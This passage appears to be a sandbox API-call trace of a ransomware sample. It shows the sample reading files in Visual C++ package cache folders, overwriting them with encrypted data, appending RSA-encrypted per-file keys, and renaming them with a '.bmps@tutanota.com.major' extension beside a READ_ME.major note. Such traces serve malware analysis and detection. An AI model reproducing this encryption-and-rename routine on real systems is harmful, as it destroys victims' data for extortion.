1 [0171.770] ReadFile (in: hFile=0x7d8, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x24000, lpOverlapped=0x0) returned 1 [0171.793] SetFilePointer (in: hFile=0x7d8, lDistanceToMove=-147456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.793] WriteFile (in: hFile=0x7d8, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x24000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x24000, lpOverlapped=0x0) returned 1 [0171.793] SetFilePointer (in: hFile=0x7d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x24000 [0171.794] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.794] WriteFile (in: hFile=0x7d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.794] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0171.794] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0171.794] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0171.794] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="2OTKfZYEwOWUAJONG3k45ovo/SDtofzwIhxwbPcOUs0pzdbWUCDIAzoegtONQTJk\nGtJ+FZHJm8VjScr9TvviXKjjaplqnNuiEaA7VrCKZFr1P2BEXvWimshLmow72WZ7\ndPc7GnRjbr0gmkYjvr+gxLFI/uOskTk0OFXb2Pczs3O1MrHnftVIujeTzBbN/QkZ\nhrxKjWRP5WOVmuI0evCl3RvyAPYq1C0rueduyKLjLKHbNzmfuEZlMjEDoyGiwKcf\nh50TK/UUHfcuQX/sGZBPk7e+RFeriFVdYXUnhGh822jmSAGP5irCENv7T/kSUb4V\n0R3/2UFwYxHVvKnJGsvbTg==\n", pcchString=0x2e3f9a8) returned 1 [0171.794] WriteFile (in: hFile=0x7d8, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0171.795] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.795] WriteFile (in: hFile=0x7d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.795] CloseHandle (hObject=0x7d8) returned 1 [0171.795] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0171.796] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0171.796] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0171.797] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8 [0171.797] GetFileSizeEx (in: hFile=0x7d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1292987) returned 1 [0171.797] ReadFile (in: hFile=0x7d8, lpBuffer=0x3146020, nNumberOfBytesToRead=0x13babb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3146020*, lpNumberOfBytesRead=0x2e3f9b4*=0x13babb, lpOverlapped=0x0) returned 1 [0171.909] SetFilePointer (in: hFile=0x7d8, lDistanceToMove=-1292987, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.909] WriteFile (in: hFile=0x7d8, lpBuffer=0x672020*, nNumberOfBytesToWrite=0x13babb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x672020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13babb, lpOverlapped=0x0) returned 1 [0171.915] SetFilePointer (in: hFile=0x7d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13babb [0171.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.915] WriteFile (in: hFile=0x7d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0171.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0171.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0171.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="j6BKu0i6H0sFEUXOmOfxd5CUFuE3nRgDsVBfkhwMVaplTQTBxghUwQGOUetmtBZp\nQMgU98sb0GcStEykDvBpJ+X591B2xMlpoMoMXeS4T2eJJiierlbJNGI5DGA1GJFK\nUgQdILEPJy684/AXHjY9M2WBdPY7gFST5KDGkybqCQBWr6c7g7IlfxXRHTj7GLlm\nHfNkZQt1RNjtBv8EQXqOJWzRIuJeXbXjZ1MQbkWfbrBiVDsVFpF0PRsZJCAGrDbN\ne5z8XuGTOnRzHNWZfjpJij5QPyknujKlfWdXoHlCCZ8n8L+4Swg5KH5W7+4JPeEQ\n9QWE48Lb8Ljf1flOJXxMHQ==\n", pcchString=0x2e3f9a8) returned 1 [0171.916] WriteFile (in: hFile=0x7d8, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0171.916] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.916] WriteFile (in: hFile=0x7d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.916] CloseHandle (hObject=0x7d8) returned 1 [0171.916] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0171.918] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a97941, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653920 [0171.918] SetLastError (dwErrCode=0x0) [0171.918] GetLastError () returned 0x0 [0171.918] SetLastError (dwErrCode=0x0) [0171.918] GetLastError () returned 0x0 [0171.918] SetLastError (dwErrCode=0x0) [0171.918] FindNextFileW (in: hFindFile=0x653920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a97941, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0171.918] SetLastError (dwErrCode=0x0) [0171.918] GetLastError () returned 0x0 [0171.918] SetLastError (dwErrCode=0x0) [0171.918] GetLastError () returned 0x0 [0171.918] SetLastError (dwErrCode=0x0) [0171.918] FindNextFileW (in: hFindFile=0x653920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] GetLastError () returned 0x0 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] GetLastError () returned 0x0 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] FindNextFileW (in: hFindFile=0x653920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a97941, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21a97941, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21a97941, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] GetLastError () returned 0x0 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] GetLastError () returned 0x0 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] FindNextFileW (in: hFindFile=0x653920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] GetLastError () returned 0x0 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] GetLastError () returned 0x0 [0171.919] SetLastError (dwErrCode=0x0) [0171.919] FindNextFileW (in: hFindFile=0x653920, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0171.919] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0171.919] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", dwFileAttributes=0x80) returned 1 [0171.919] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7dc [0171.920] GetFileSizeEx (in: hFile=0x7dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=143360) returned 1 [0171.920] ReadFile (in: hFile=0x7dc, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0171.930] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.930] WriteFile (in: hFile=0x7dc, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0171.930] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23000 [0171.930] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.930] WriteFile (in: hFile=0x7dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.931] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0171.931] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0171.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0171.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="sk6HiOM4aMCbanxkZOaDDYs67ykPQSUsa9vkty9lFwTWfO++TLN8N3Jz1yRM5siI\nZoTE0/IS5NEyKmXMD3sH/dejfh0lVadodIgaoD+JuGM+EkmIyaRhkEGGD8hy7urq\nyDVadk6TXBxu3YkYkVBvN7LoAw2L3pEYK/tvzdvRYzQ/6lOsPxf3x2fwYqTOMv26\neOkVGaCmS3W3Sl+/A6zieA0QwhsouBJnsknSITj1zyRCpDxpSksZCGAs3+znbwlK\newd1xHlFeeZaxeIDWagHYC4yjC3rddsTFQtHIv/RvDbuLelB5jSJu+R8ZZJAgDbD\nSmUt5QefZSjkcrJ4yfqSSQ==\n", pcchString=0x2e3f9a8) returned 1 [0171.931] WriteFile (in: hFile=0x7dc, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0171.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.931] WriteFile (in: hFile=0x7dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.932] CloseHandle (hObject=0x7dc) returned 1 [0171.932] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0171.933] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0171.933] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0171.933] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7dc [0171.934] GetFileSizeEx (in: hFile=0x7dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5204382) returned 1 [0171.934] ReadFile (in: hFile=0x7dc, lpBuffer=0x314e020, nNumberOfBytesToRead=0x4f699e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314e020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4f699e, lpOverlapped=0x0) returned 1 [0173.447] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=-5204382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.447] WriteFile (in: hFile=0x7dc, lpBuffer=0x3656020*, nNumberOfBytesToWrite=0x4f699e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3656020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4f699e, lpOverlapped=0x0) returned 1 [0173.505] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4f699e [0173.505] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.506] WriteFile (in: hFile=0x7dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0173.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0173.507] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0173.507] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="Zke/9V/S4im0oWie/o1bA63a28hWeoOD58Eg1agWTwxAW0vHy0TiEfkILBWh6JDE\ntCDGZz2PpQ6a74DiTjB6PTi779t0g9uEsOHhnNiikpBQf8BwHyVQgz3OnLsQd5qy\nSZpJSRWrY414tMfhGJHI+D9tXZMYI4xlWMNjY1SKSdt7aN34+pVGqvkd9/rVIVou\n2z0wE+Ff4jv/knh5vcnfsQdmizWjJfNBx7x6x+C566zJlf7TwrDuPmUf9okf/Ofm\n6lp/HAgTjNgb8yhd+PouTF+b/cxI5tKdHA0Wb0aJEvUq2diwwauXWDQ9tITkIE0M\nwlnb6rO8eArLJaLdCdgrEg==\n", pcchString=0x2e3f9a8) returned 1 [0173.507] WriteFile (in: hFile=0x7dc, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0173.507] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.507] WriteFile (in: hFile=0x7dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.507] CloseHandle (hObject=0x7dc) returned 1 [0173.507] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0173.637] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x21abdb87, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653c60 [0173.637] SetLastError (dwErrCode=0x0) [0173.637] GetLastError () returned 0x0 [0173.637] SetLastError (dwErrCode=0x0) [0173.637] GetLastError () returned 0x0 [0173.637] SetLastError (dwErrCode=0x0) [0173.637] FindNextFileW (in: hFindFile=0x653c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x21abdb87, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0173.637] SetLastError (dwErrCode=0x0) [0173.637] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] FindNextFileW (in: hFindFile=0x653c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) 